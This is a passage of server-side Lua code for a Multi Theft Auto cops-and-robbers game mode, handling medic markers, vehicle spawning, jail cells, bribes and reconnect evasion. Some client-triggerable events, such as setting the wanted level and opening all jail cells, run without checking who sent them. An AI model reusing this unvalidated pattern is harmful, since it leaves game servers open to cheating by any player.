if isTimer(medicTimer[player]) then killTimer(medicTimer[player]) end
medicTimer[player] = setTimer(function(player)
local x, y, z = getElementPosition(player)
if isElement(medicMarker[player]) then destroyElement(medicMarker[player]) medicMarker[player] = nil end
medicMarker[player] = createMarker(x, y, z-1, "cylinder", 2.2, 100, 100, 255, 125)
setElementInterior(medicMarker[player], getElementInterior(player))
setElementDimension(medicMarker[player], getElementDimension(player))
exports["guimessages"]:outputServer(player, "Medic marker created successfully.", 0, 255, 0)
exports["guimessages"]:outputServer(player, "Do /"..cmd.." again to unload.", 100, 100, 255)
end, 200, 1, player)
end
end
end
end)
function eventCheck()
if isElement(medicMarker[source]) then
destroyElement(medicMarker[source])
medicMarker[source] = nil
setElementFrozen(source, false)
toggleAllControls(source, true)
end
end
addEventHandler("onPlayerQuit", root, eventCheck)
addEventHandler("onPlayerWasted", root, eventCheck)
setTimer(function()
for heller, marker in pairs(medicMarker) do
for i, helled in ipairs(getElementsWithinColShape(getElementColShape(marker), "player")) do
if helled ~= heller then
heal(helled, heller)
end
end
end
end, 3000, 0)
---------
function onSpawnVehicle(carName, x, y, z, r)
local id = getVehicleModelFromName(carName)
if (id) then
if (isElement(cars[source])) then
destroyElement(cars[source])
end
cars[source] = createVehicle(id, x, y, z+1, 0, 0, tonumber(r))
setElementFrozen(cars[source], true)
setTimer(setElementFrozen, 500, 1, cars[source], false)
if id ~= 416 then
setVehicleColor(cars[source], 255, 255, 255)
end
addEventHandler("onPlayerQuit", root, function() if isElement(cars[source]) then destroyElement(cars[source]) if isTimer(carsTimer[cars[source]]) then killTimer(carsTimer[cars[source]]) end end end)
addEventHandler("onVehicleExplode", cars[source], function() setTimer(function(car) if (isElement(car)) then destroyElement(car) end end, 5000, 1, source) end)
addEventHandler("onVehicleExit", cars[source], function() if isVehicleEmpty(source) then return end carsTimer[source] = setTimer(function(car) if (isElement(car)) then destroyElement(car) end end, 120000, 1, source) end)
addEventHandler("onVehicleEnter", cars[source], function() if isTimer(carsTimer[source]) then killTimer(carsTimer[source]) end end)
warpPedIntoVehicle(source, cars[source])
end
end
addEvent("onSpawnVehicle", true)
addEventHandler("onSpawnVehicle", root, onSpawnVehicle)
addEvent("OpenAllCellsByConsole", true)
function OpenCellsForGtaAdmin()
outputDebugString("server: فتح الزنزانات !")
moveObject (e1, 1000, 1589.56, -1675.17, 1228)
moveObject (e2, 2000, 1554.44, -1670.57, 1226.9)
if OAJ then -- close the cells
moveObject (j1, 1000, 1585.04, -1679.13, 1228)
moveObject (j2, 1000, 1580.29, -1679.13, 1228)
moveObject (j3, 1000, 1575.54, -1679.13, 1228)
moveObject (j4, 1000, 1570.79, -1679.13, 1228)
moveObject (j5, 1000, 1583.33, -1662.97, 1228)
moveObject (j6, 1000, 1578.58, -1662.97, 1228)
moveObject (j7, 1000, 1573.83, -1662.97, 1228)
moveObject (j8, 1000, 1569.08, -1662.97, 1228)
moveObject (j9, 1000, 1588.84, -1679.13, 1232.2)
moveObject (j10, 1000, 1584.09, -1679.13, 1232.2)
moveObject (j11, 1000, 1579.34, -1679.13, 1232.2)
moveObject (j12, 1000, 1574.59, -1679.13, 1232.2)
moveObject (j13, 1000, 1569.84, -1679.13, 1232.2)
moveObject (j14, 1000, 1565.09, -1679.13, 1232.2)
moveObject (j15, 1000, 1560.34, -1679.13, 1232.2)
moveObject (j16, 1000, 1587.13, -1662.97, 1232.2)
moveObject (j17, 1000, 1582.38, -1662.97, 1232.2)
moveObject (j18, 1000, 1577.63, -1662.97, 1232.2)
moveObject (j19, 1000, 1572.88, -1662.97, 1232.2)
moveObject (j20, 1000, 1568.13, -1662.97, 1232.2)
moveObject (j21, 1000, 1563.38, -1662.97, 1232.2)
moveObject (j22, 1000, 1558.63, -1662.97, 1232.2)
moveObject (j23, 1000, 1588.84, -1679.13, 1236.28)
moveObject (j24, 1000, 1584.09, -1679.13, 1236.28)
moveObject (j25, 1000, 1579.34, -1679.13, 1236.28)
moveObject (j26, 1000, 1574.59, -1679.13, 1236.28)
moveObject (j27, 1000, 1569.84, -1679.13, 1236.28)
moveObject (j28, 1000, 1565.09, -1679.13, 1236.28)
moveObject (j29, 1000, 1560.34, -1679.13, 1236.28)
moveObject (j30, 1000, 1587.13, -1662.97, 1236.28)
moveObject (j31, 1000, 1582.38, -1662.97, 1236.28)
moveObject (j32, 1000, 1577.63, -1662.97, 1236.28)
moveObject (j33, 1000, 1572.88, -1662.97, 1236.28)
moveObject (j34, 1000, 1568.13, -1662.97, 1236.28)
moveObject (j35, 1000, 1563.38, -1662.97, 1236.28)
moveObject (j36, 1000, 1558.63, -1662.97, 1236.28)
moveObject (bd, 4000, 1586.33, -1670.51, 1227.07)
j1o = false
j2o = false
j3o = false
j4o = false
j5o = false
j6o = false
j7o = false
j8o = false
j9o = false
j10o = false
j11o = false
j12o = false
j13o = false
j14o = false
j15o = false
j16o = false
j17o = false
j18o = false
j19o = false
j20o = false
j21o = false
j22o = false
j23o = false
j24o = false
j25o = false
j26o = false
j27o = false
j28o = false
j29o = false
j30o = false
j31o = false
j32o = false
j33o = false
j34o = false
j35o = false
j36o = false
for _, players in ipairs(getElementsByType("player")) do
if getElementData(players, "Stats") > 2 then
exports["guimessages"]:outputServer(players,btetext[players], 255, 255, 0)
end
end
OAJ = false
triggerClientEvent("COAJF", getRootElement())
else -- open the cells
moveObject (j1, 1000, 1586.36, -1679.13, 1228)
moveObject (j2, 1000, 1581.63, -1679.13, 1228)
moveObject (j3, 1000, 1576.88, -1679.13, 1228)
moveObject (j4, 1000, 1572.13, -1679.13, 1228)
moveObject (j5, 1000, 1581.99, -1662.97, 1228)
moveObject (j6, 1000, 1577.24, -1662.97, 1228)
moveObject (j7, 1000, 1572.49, -1662.97, 1228)
moveObject (j8, 1000, 1567.74, -1662.97, 1228)
moveObject (j9, 1000, 1590.18, -1679.13, 1232.2)
moveObject (j10, 1000, 1585.43, -1679.13, 1232.2)
moveObject (j11, 1000, 1580.68, -1679.13, 1232.2)
moveObject (j12, 1000, 1575.93, -1679.13, 1232.2)
moveObject (j13, 1000, 1571.18, -1679.13, 1232.2)
moveObject (j14, 1000, 1566.43, -1679.13, 1232.2)
moveObject (j15, 1000, 1561.68, -1679.13, 1232.2)
moveObject (j16, 1000, 1585.79, -1662.97, 1232.2)
moveObject (j17, 1000, 1581.04, -1662.97, 1232.2)
moveObject (j18, 1000, 1576.29, -1662.97, 1232.2)
moveObject (j19, 1000, 1571.54, -1662.97, 1232.2)
moveObject (j20, 1000, 1566.79, -1662.97, 1232.2)
moveObject (j21, 1000, 1562.04, -1662.97, 1232.2)
moveObject (j22, 1000, 1557.29, -1662.97, 1232.2)
moveObject (j23, 1000, 1590.18, -1679.13, 1236.28)
moveObject (j24, 1000, 1585.43, -1679.13, 1236.28)
moveObject (j25, 1000, 1580.68, -1679.13, 1236.28)
moveObject (j26, 1000, 1575.93, -1679.13, 1236.28)
moveObject (j27, 1000, 1571.18, -1679.13, 1236.28)
moveObject (j28, 1000, 1566.43, -1679.13, 1236.28)
moveObject (j29, 1000, 1561.68, -1679.13, 1236.28)
moveObject (j30, 1000, 1585.79, -1662.97, 1236.28)
moveObject (j31, 1000, 1581.04, -1662.97, 1236.28)
moveObject (j32, 1000, 1576.29, -1662.97, 1236.28)
moveObject (j33, 1000, 1571.54, -1662.97, 1236.28)
moveObject (j34, 1000, 1566.79, -1662.97, 1236.28)
moveObject (j35, 1000, 1562.04, -1662.97, 1236.28)
moveObject (j36, 1000, 1557.29, -1662.97, 1236.28)
moveObject (bd, 4000, 1586.33, -1662.73, 1227.07)
j1o = true
j2o = true
j3o = true
j4o = true
j5o = true
j6o = true
j7o = true
j8o = true
j9o = true
j10o = true
j11o = true
j12o = true
j13o = true
j14o = true
j15o = true
j16o = true
j17o = true
j18o = true
j19o = true
j20o = true
j21o = true
j22o = true
j23o = true
j24o = true
j25o = true
j26o = true
j27o = true
j28o = true
j29o = true
j30o = true
j31o = true
j32o = true
j33o = true
j34o = true
j35o = true
j36o = true
for _, players in ipairs(getElementsByType("player")) do
if getElementData(players, "Stats") > 2 then
exports["guimessages"]:outputServer(players, btstext[players], 255, 255, 0)
end
end
OAJ = true
triggerClientEvent("COAJT", getRootElement())
end
end
addEventHandler("OpenAllCellsByConsole", getRootElement(), OpenCellsForGtaAdmin)
-- SKIN HOUSE
local houseskin = createObject(14758, 3868.1000976563, -1617, 17.3000001907349, 0, 0, 0) -- skin select house
setElementDimension(houseskin, 1)
local sofaskin = createObject(1712, 3878.1000976563, -1605.9900488281, 15.4000000953674, 0, 0, 0) -- skin select sofa
setElementDimension(sofaskin, 1)
local speaker1skin = createObject(2229, 3876.3000488281, -1605.3000488281, 15.4000000953674, 0, 0, 0) -- skin select speaker
setElementDimension ( speaker1skin, 1 )
local speaker2skin = createObject (2229, 3882, -1605.4000244141, 15.4000000953674, 0, 0, 0) -- skin select speaker
setElementDimension(speaker2skin, 1)
-- skin house العالم الحقيقي
createObject(14758, 3868.1000976563, -1617, 17.3000001907349, 0, 0, 0) -- skin select house
createObject(1712, 3878.1000976563, -1605.9900488281, 15.4000000953674, 0, 0, 0) -- skin select sofa
createObject(2229, 3876.3000488281, -1605.3000488281, 15.4000000953674, 0, 0, 0) -- skin select speaker
----------------------------------------------------------------
addEvent("offerB", true)
function FofferB(player, bribed, bribe)
triggerClientEvent("CofferB", getRootElement(player, bribed), player, bribed, bribe)
end
addEventHandler("offerB", getRootElement(), FofferB)
addEvent("ACCB", true)
function FACCB(briber, bribed)
if getElementData(briber, "Stats") < 1 and getElementData(briber, "WantLvl") > 2 or getElementData(briber, "Stats") == 3 then
if getElementData(briber, "BribeAcc") then return end
if getElementData(bribed, "OfferAcc") then return end
triggerClientEvent("CACCB", getRootElement(briber, bribed), briber, bribed)
setElementData(briber, "BribeAcc", true)
setElementData(bribed, "OfferAcc", true)
end
end
addEventHandler("ACCB", getRootElement(), FACCB)
---------------------------------------------------------- Fixed Bug Reconnect ----------------------------------------------------------
addEventHandler("onPlayerQuit", root,
function(reason)
if reason ~= "Kicked" and reason ~= "Banned" then
local prevented = false
for i,v in ipairs(getElementsByType("player")) do
if getPlayerTeam(v) == getTeamFromName("Police") then
local x, y, z = getElementPosition(source)
local x1, y1, z1 = getElementPosition(v)
local distance = getDistanceBetweenPoints3D(x, y, z, x1, y1, z1)
if distance < 20 then
if getElementData(source, "WantLvl") > 2 then
if prevented then return end
local account = getPlayerAccount ( source )
setAccountData(account, "AStats", 3)
setAccountData(account, "ASecs", 59)
setAccountData(account, "AMins", 7)
setAccountData(account, "AMBAIL", 10000)
setAccountData(account, "AWantLvl", 0)
setAccountData(account, "ARecounctBug", true)
prevented = true
end
end
end
end
end
if getElementData(source,"RecounectBug") == true then
setAccountData(getPlayerAccount ( source ), "ARecounctBug", true)
end
end
)
function OnLoginRE ()
if not (isGuestAccount (getPlayerAccount (source))) then
if getAccountData (getPlayerAccount(source), "ARecounctBug") == true then
setElementData(source, "RecounectBug", true)
setAccountData(getPlayerAccount(source), "ARecounctBug", false)
end
end
end
addEventHandler ("onPlayerLogin", getRootElement(), OnLoginRE)
---------------------------------------------------------- Fixed Bug Car Player Damage ----------------------------------------------------------
addEvent("settingWantedLevel", true)
addEventHandler("settingWantedLevel", root,
function(stars)
setElementData(source, "WantLvl", stars)
end
)
------------------------------------------------------------------ Fixed Hits ------------------------------------------------------------
addEventHandler("onPlayerWasted", root,
function(_, killer)
if killer and getElementType(killer) == "player" and
killer ~= source and getElementData(killer, "Job") == 1 and
getElementData(source, "Stats") < 2 and
getElementData(source, "Hits") then
setTimer(setElementData,1000,1,source, "Hits", false)
end
end)
-----------------------------------------Fixed Bug Jail Weapon-----------------------------------
addEventHandler ( "onElementDataChange", root,
function(data,old)
if getElementType(source) == "player" and data == "Stats" then
if getElementData(source, "Stats") == 3 then
toggleControl (source, "fire", false)
toggleControl (source, "next_weapon", false)
toggleControl (source, "previous_weapon", false)
toggleControl (source, "aim_weapon", false)
toggleControl (source, "vehicle_fire", false)
setTimer(setElementData, 2000, 1, source, "WantLvl", 0)
elseif old == 3 and getElementData(source, "Stats") == 0 then
toggleControl (source, "fire", true)
toggleControl (source, "next_weapon", true)
toggleControl (source, "previous_weapon", true)
toggleControl (source, "aim_weapon", true)
toggleControl (source, "vehicle_fire", true)
elseif old == 3 and getElementData(source, "Stats") == -1 then
setElementData(source, "WantLvl", 6)
end
if old == 3 and getElementData(source,"RecounectBug") == true then
setElementData(source, "RecounectBug", false)
end
end
end)
createObject(2229, 3882, -1605.4000244141, 15.4000000953674, 0, 0, 0) -- skin select speaker